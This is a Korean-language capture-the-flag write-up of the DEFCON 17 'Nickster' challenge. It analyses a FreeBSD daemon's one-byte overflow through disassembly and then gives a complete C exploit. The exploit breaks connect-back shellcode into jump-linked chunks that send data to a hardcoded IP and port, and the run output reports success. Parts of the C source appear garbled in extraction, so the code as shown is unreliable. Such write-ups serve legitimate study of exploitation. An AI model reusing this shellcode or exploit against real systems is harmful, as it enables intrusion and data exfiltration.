Defcon CTF 17 th Nickster Report StolenByte(Son Choong-Ho) http://stolenbyte.egloos.com thscndgh_4@hotmail.com WOWHACKER 2009. 08. 09
0x00 Contents 0x01 ------------- About Nickster 0x02 ------------- Analaysis 0x03 ------------- Exploit
0x01 About Nickster [StolenByte@StolenByte~] # 경어를삼가하도록하겠습니다. 이문제는 Steal 과 Overwrite 둘다가능한문제다. 디버깅을하면쉽게취약점을찾을수있으나, 취약점을통해실행시킬 Shellcode 를올리는것이쉽지않은문제다. [StolenByte@StolenByte ~]# nc localhost 2337 1) Add user 2) Remove user 3) View user 4) List users 1 Enter new user nick: a Continue (y/n)? y 1) Add user 2) Remove user 3) View user 4) List users 4 Nick: a, id = 1, reg time = Mon Aug 10 10:29:50 2009
0x02 Analaysis [StolenByte@StolenByte ~/bin/nickster]# file nickd nickd: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 7.2, statically linked, FreeBSD-style, stripped 정적 freebsd 7.2 바이너리, 디버깅정보삭제 이문제는 1byte Buffer Overflow 문제 이런기능이많은기능의데몬은처음접하면상당히분석하기까다롭다. 그기능들중한곳에서취약점이발생하기때문이다. 그러나, 이런문제들은대부분 Buffer Overflow, Format String Bug 문제이기때문에입력하는메뉴만찾아서공략하면된다. [StolenByte@StolenByte ~]# nc localhost 2337 1) Add user 2) Remove user 3) View user 4) List users 서버로접속하면다음과같은메뉴를볼수있다..text:0804909E mov [esp+28h+var_24], offset a1adduser ; "1) Add user\n".text:080490a6 mov eax, [ebp+arg_0].text:080490a9 mov [esp+28h+var_28], eax.text:080490ac call sub_8048370.text:080490b1 mov [esp+28h+var_20], 0.text:080490B9 mov [esp+28h+var_24], offset a2removeuser ; "2) Remove user\n".text:080490c1 mov eax, [ebp+arg_0].text:080490c4 mov [esp+28h+var_28], eax.text:080490c7 call sub_8048370.text:080490cc mov [esp+28h+var_20], 0.text:080490D4 mov [esp+28h+var_24], offset a3viewuser ; "3) View user\n".text:080490dc mov eax, [ebp+arg_0].text:080490df mov [esp+28h+var_28], eax.text:080490e2 call sub_8048370.text:080490e7 mov [esp+28h+var_20], 0.text:080490EF mov [esp+28h+var_24], offset a4listusers ; "4) List users\n"
.text:080490f7 mov eax, [ebp+arg_0].text:080490fa mov [esp+28h+var_28], eax.text:080490fd call sub_8048370 메뉴를뿌려주는루틴이다. 메뉴를뿌려준후, 메뉴를선택하는루틴이나온다..text:08049133 cmp [ebp+var_14], 32h.text:08049137 jz short loc_8049162.text:08049139 cmp [ebp+var_14], 32h.text:0804913D jg short loc_8049147.text:0804913f cmp [ebp+var_14], 31h.text:08049143 jz short loc_8049155.text:08049145 jmp short locret_8049187.text:08049147 ; ---------------------------------------------------------------------------.text:08049147.text:08049147 loc_8049147: ; CODE XREF: sub_8049090+adj.text:08049147 cmp [ebp+var_14], 33h.text:0804914B jz short loc_804916f.text:0804914d cmp [ebp+var_14], 34h.text:08049151 jz short loc_804917c 입력한값이 1 과 2 일경우해당메뉴루틴으로점프를한다. 2 보다클경우에는 2 보다큰수가 3 인지 4 인지확인후, 입력한값이 3 과 4 일경 우해당메뉴로점프를한다. 이메뉴들중입력을받는메뉴는 Add User 메뉴이다. 이메뉴에대한루틴은다음과같다..text:08048918 mov [esp+28h+var_24], offset aenternewuserni ; "Enter new user nick: ".text:08048920 mov eax, [ebp+arg_0].text:08048923 mov [esp+28h+var_28], eax.text:08048926 call sub_8048370 Enter new user nick: 이라는문장을뿌려준다..text:0804892B mov [esp+28h+var_1c], 0Ah.text:08048933 mov [esp+28h+var_20], 0Ch.text:0804893B lea eax, [ebp+var_10].text:0804893e add eax, 4.text:08048941 mov [esp+28h+var_24], eax.text:08048945 mov eax, [ebp+arg_0].text:08048948 mov [esp+28h+var_28], eax.text:0804894b call sub_80482f0 총 12byte 만큼받아온다.
.text:0804895e mov eax, [ebp+var_10].text:08048961 mov [ebp+eax+var_c], 0.text:08048966 mov [ebp+var_10], 0 취약점발생부분!! send[ 받은크기 ] = 0 이렇게되어있다. 하지만이렇게되면메모리에문제가발생된다. SEND ( 총 12byte) A B C D E F G H I J K L 원래대로라면저기 L 을 0 으로만들어야겠지만, send[ 받은크기 ] 처럼하게되면 L 을넘어서 xx 영역에있는메모리를 0 으로만들게된다. xx 마침다음메모리는 Return Address 의포인터주소가저장되어있어서 Return Address 포인터주소에영향을줄수있지만, 임의로바꿀수있는것도아닌무 조건 0 으로 1byte 가덮어쉬어진것이다. Return Address 는 4 번메뉴 (List users) 를이용하여 Return Address 덮어쉬우는동 시 Shellcode 까지남길수있다..text:08048A57 mov [esp+18h+var_14], offset anicksiddregtim ; "Nick: %s, id = %d, reg time = %s".text:08048a5f mov eax, [ebp+arg_0].text:08048a62 mov [esp+18h+var_18], eax.text:08048a65 call sub_8063a20 Add user 메뉴를통해입력한내용을출력해주는부분이다. 출력을해주면서 stack 에쌓는데그러면서 Return Address 까지덮을수있는취 약점이발생한것이다. 그러나무제한 stack 을쌓을수있는것도아니다..text:080488CB cmp eax, 63h.text:080488CE jg loc_80489d5 Add user 를 100 번넘게하면할수없다. 100 번을융통성을발휘해서 Return Address 를덮어쉬우면되겠지만, "Nick: %s, id = %d, reg time = %s" 중 Nick : %s 의 %s 로딱맞춰야한다. 상당히많이덮어야하므로 Return Address 부분에딱맞추기가생각보다힘들다.
이제 Shellcode만올리면되는데, Shellcode는 "Nick: %s, id = %d, reg time = %s" 에 Nick: %s부분밖에 Shellcode가올라가질않는다. 그리고 Nick에는총 11byte의 Shellcode밖에올라가질않는다. 그래서 jmp를이용하여 Shellcode를나눠서올려야한다. Shellcode를문장별로최고 9byte까지잘라 + jmp까지추가하면쉘코드가완성된다. 그리고 Shellcode자체에 je,jmp등점프문이나, call, ret 등이들어가는것은자신이직접 stack에맞게따로수정을해줘야하므로저런명령이들어가지않는 Shellcode를사용하면쉽게할수있다.
0x03 Exploit Terminal 1 [StolenByte@StolenByte ~]#./nickd_ex ========= DEFCON Capture the Flag 17th nickster Exploit by StolenByte ========= [!] Connect Success [+] Input ShellCode [+] Buffer Overflow [+] Input Return Address [+] Exploit!! [!] Attack Success!! [!] Finish Terminal 2 [StolenByte@StolenByte ~]# nc -l 8000 WOWHACKER Nickster_exploit_by_StolenByte.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <arpa/inet.h> #define ATTACK_IP "127.0.0.1" #define ATTACK_PORT 2337 #define MAX_BUF 2048 int sock_conn(char *ip, int port) int sockfd; struct sockaddr_in sock; struct hostent* host_st; sockfd = socket(pf_inet, SOCK_STREAM, 0); if(sockfd < 0) err("socket() Error!!\n");
host_st = gethostbyname(ip); if(host_st == NULL) err("gethostbyname() Error!!\n"); bzero(sock.sin_zero, sizeof(sock.sin_zero)); sock.sin_family = AF_INET; sock.sin_port = htons(port); sock.sin_addr = *((struct in_addr *)host_st->h_addr); if(connect(sockfd, (struct sockaddr *)&sock, sizeof(sock)) < 0) err("connect() Error!!\n"); return sockfd; int inline err(char* msg) perror(msg); exit(-1); void sock_write(int sock, char* payload) int check = 0; check = write(sock, payload, strlen(payload)); if(check < 0) err("[!] Write Error\n"); void sock_read(int sock) int i = 0; int check = 0; char buf[max_buf]; char payload[3] = 0, ; memset(buf, 0x00, MAX_BUF); check = read(sock, buf, MAX_BUF); if(check < 0) err("[!] Read Error\n"); void exploit_loop(int sock, int count, char* msg) int i; char payload[max_buf];
memset(payload, 0x00, MAX_BUF); for(i=0;i<count;i++) sprintf(payload, "1\n"); sprintf(payload, "%s\n", msg); sprintf(payload, "y\n"); int main( int argc, char **argv) int i; int sock = 0; char payload[max_buf]; unsigned char shellcode[] = "\x31\xc0\x6a\x79\x66\x68\x6b\x65\xeb\x34" "\x89\xe3\x50\x53\xeb\x34" "\xb0\x05\x50\xcd\x80\x89\xc3\x31\xc0\xeb\x34" "\x31\xc9\x66\xb9\x05\x0d\x51\x89\xe6\xeb\x34" "\x56\x53\xb0\x03\x50\xcd\x80\x89\xc5\xeb\x34" "\x31\xc0\xb0\x06\x53\x50\xcd\x80\xeb\x34" "\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\xeb\x34" "\x50\xcd\x80\x89\xc2\xeb\x34" "\x68\xc0\xa8\x7b\x6c\xeb\x34" // Server IP Address (ex. 192.168.123.108) "\x68\xaa\x02\x1f\x40\xeb\x35" // Port (ex.8000) "\x89\xe0\x6a\x10\x50\x52\x31\xc0\xeb\x35" "\xb0\x62\x50\xcd\x80\x31\xc0\x55\x56\xeb\x35" "\x52\xb0\x04\x50\xcd\x80\x31\xc0\x40\xeb\x35" "\x50\x50\xcd\x80"; int shellcode_size[] = 0, 10, 6, 11, 11, 11, 10, 11, 7, 7, 7, 10, 11, 11, 4; int size = 0;
unsigned char ret_addr[] = "\x41\x41\xc2\xd2\xbf\xbf\n"; printf("========= DEFCON Capture the Flag 17th Nickster Exploit by StolenByte =========\n"); /* Connect Server */ sock = sock_conn(attack_ip, ATTACK_PORT); printf("[!] Connect Success\n"); /* Input ShellCode */ printf("[+] Input ShellCode\n"); for(i=0;i<14;i++) sprintf(payload, "1\n"); strncpy(payload, shellcode+size, shellcode_size[i+1]); size += shellcode_size[i+1]; sprintf(payload, "%s\n", payload); memset(payload, 0x00, sizeof(payload)); sprintf(payload, "y\n"); /* Buffer Overflow */ printf("[+] Buffer Overflow\n"); exploit_loop(sock, 78, "AAAAAAAAAAA"); exploit_loop(sock, 4, "AAAAAAA"); exploit_loop(sock, 2, "AAAAA"); /* Input Return Address */ printf("[+] Input Return Address\n"); sprintf(payload, "1\n");
sock_write(sock, ret_addr); sprintf(payload, "y\n"); sprintf(payload, "4\n"); sprintf(payload, "y\n"); /* Exploit!! */ printf("[+] Exploit!!\n"); sprintf(payload, "1\n"); sprintf(payload, "AAAAAAAAAAAA\n"); sprintf(payload, "y\n");
printf("[!] Attack Success!!\n"); printf("[!] Finish\n"); return 0;